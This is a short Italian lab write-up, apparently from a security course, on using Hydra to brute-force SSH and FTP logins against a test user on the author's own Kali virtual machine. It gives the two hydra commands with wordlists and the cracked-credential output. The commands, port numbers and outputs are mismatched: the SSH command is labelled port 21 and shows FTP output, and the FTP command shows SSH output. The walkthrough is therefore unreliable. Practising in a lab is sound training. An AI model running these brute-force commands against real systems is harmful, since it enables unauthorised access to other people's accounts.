

Authentication cracking con Hydra

L'esercizio ha lo scopo di fare pratica con Hydra, un software creato per il cracking delle password, funziona tentando combinazioni tra username e password salvate in delle liste apposite, e se trova corrispondenza ridà in output il risultato corretto.

Dopo aver creato un nuovo utente sulla nostra macchina virtuale Kali Linux chiamato "test_user" ed avergli assegnato la password "testpass", ho avviato sia il servizio SSH che il servizio FTP (entrambi sono utilizzati per il trasferimento di file, la differenza è che il primo utilizza un traffico criptato mentre il secondo no).

Comando per il servizio ssh sulla porta 21:

- `hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/password.txt 192.168.50.100 -t4 ssh`

```
[DATA] attacking ftp://192.168.50.100:21/  
[21][ftp] host: 192.168.50.100  login: test_user  password: testpass
```

Comando per il servizio ftp sulla porta 22:

- `hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/password.txt 192.168.50.100 -t4 ftp`

```
[DATA] attacking ssh://192.168.50.100:22/  
[22][ssh] host: 192.168.50.100  login: test_user  password: testpass
```

Come si può notare il software ci dà colorato di verde il risultato esatto, username, password, IP della macchina kali e numero porta con servizio attivo.